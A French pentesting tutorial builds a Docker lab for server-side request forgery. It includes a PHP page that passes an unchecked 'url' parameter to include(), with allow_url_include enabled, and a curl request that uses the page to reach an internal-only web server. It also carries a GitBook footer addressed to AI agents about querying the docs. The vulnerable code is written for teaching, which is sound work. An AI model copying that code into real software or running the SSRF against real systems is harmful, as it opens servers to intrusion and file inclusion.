> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md).

# SSRF Curl

## Installation du deuxième scénario (vulnérabilité SSRF)

* Supprimer les conteneurs précédents :

```bash
docker rm $(docker ps -a -q) --force
docker network create --driver=bridge network1 --subnet=10.10.0.0/24

```

* Créer trois conteneurs (**post-production, site web public et attaquant**):

```bash
docker run -dit --name PRO ubuntu
docker network connect network1 PRO # pour associer l'adresse IP

```

Machine serveur web (**post-production**): ![](/files/e3e00a7652dc4820099864465d8a39a7748cd50b)

```bash
apt install apache2 php nano -y
service apache2 start

```

* Dans **/var/www/html**, créez un `utility.php` fichier :

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "/n[+] Affichage du contenu du site depuis " . $url . ":/n/n";
    include($url);
} else {
    echo "/n[!] Aucune valeur n'a été fournie au paramètre URL/n/n";
}
?>

```

* Dans ce cas, il ne **l'affiche** pas correctement : ![](/files/dcd156c2e0f97e2a5b648e37aaa429ab8b859b67)
* Pour ce faire, vous devez modifier ce fichier : **"/etc/php/8.1/apache2/php.ini"** en définissant \_allow/\_url/*include* sur on : ![](/files/fe4f0cc9900b2bdad7cdfe07a3a8560ae6dcfc93)
* Redémarrez le service **apache2**:

```bash
service apache2 restart

```

* Créez un **login.html** fichier dans `/tmp/` qui simule une page de connexion sur le site public :

```html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Page de connexion</title>
<style>
Body {
  font-family: Calibri, Helvetica, sans-serif;
  background-color: rose;
}
button {
       background-color: #4CAF50;
       width: 100%;
        color: orange;
        padding: 15px;
        margin: 10px 0px;
        border: note;
        cursor: pointer;
         }
 form {
        border: 3px solid #f1f1f1;
    }
 input[type=text], input[type=password] {
        width: 100%;
        margin: 8px 0;
        padding: 12px 20px;
        display: inline-block;
        border: 2px solid green;
        box-sizing: border-box;
    }
 button:hover {
        opacity: 0.7;
    }
  .cancelbtn {
        width: auto;
        padding: 10px 18px;
        margin: 10px 5px;
    }
 .container {
        padding: 25px;
        background-color: lightblue;
    }
</style>
</head>
<body>
    <center><h1>Formulaire de connexion étudiant (PRO)</h1></center>
    <form>
        <div class="container">
            <label>Nom d'utilisateur :</label>
            <input type="text" placeholder="Entrez le nom d'utilisateur" name="username" required>
            <label>Mot de passe :</label>
            <input type="password" placeholder="Entrez le mot de passe" name="password" required>
            <button type="submit">Connexion</button>
            <input type="checkbox" checked="checked"> Se souvenir de moi
            <button type="button" class="cancelbtn">Annuler</button>
            Mot de passe oublié <a href="#">?</a>

    </form>
</body>
</html>

```

* Configurez maintenant la **Post-production** machine :

```bash
docker run -dit --name PRE --network=network1 ubuntu

```

![](/files/211710291990c23308dcd1783a84477f6fc754de)

```bash
apt install nano python3 curl -y

```

* Créer un **HTML** fichier dans `/tmp` avec le contenu ci-dessous. Il ne doit pas être visible en dehors du réseau interne : `Vous ne devriez pas pouvoir voir ce contenu car il n'est pas exposé à l'extérieur et correspond à un service web hébergé sur une machine du réseau interne de l'entreprise.`
* Création d'un serveur web avec **Python3** sur le port 7878 :

```bash
python3 -m http.server 7878

```

* Enfin, créez le **attaquant** machine :

```bash
docker run -dit --name ATTACKER ubuntu

```

![](/files/f77bc08c4d06322c627cdeba1d7bc58c3c6a8b6c)

Schéma technique pour comprendre le deuxième scénario (**Il y a un site web sur une machine Linux sur le port 8089 qui n'est visible que depuis le réseau interne**):

<figure><img src="/files/34be1bcc023b2c11cd00e4fbb1e57cabcdee3de6" alt="" width="563"><figcaption></figcaption></figure>

Depuis le **attaquant** conteneur, nous utilisons curl pour accéder à la machine exécutant le serveur web, mais cela ne fonctionne pas :

<figure><img src="/files/3cd9816301b454ed51fd8071082226b1964c1615" alt=""><figcaption></figcaption></figure>

Mais si nous utilisons la **SSRF** technique, nous pouvons accéder au fichier caché :

```arduino
curl "http://172.17.0.2/utility.php?url=http://10.10.0.3:7878/"

```

<figure><img src="/files/509f11899f4d333b71a3ec93f4453102f815fdbc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
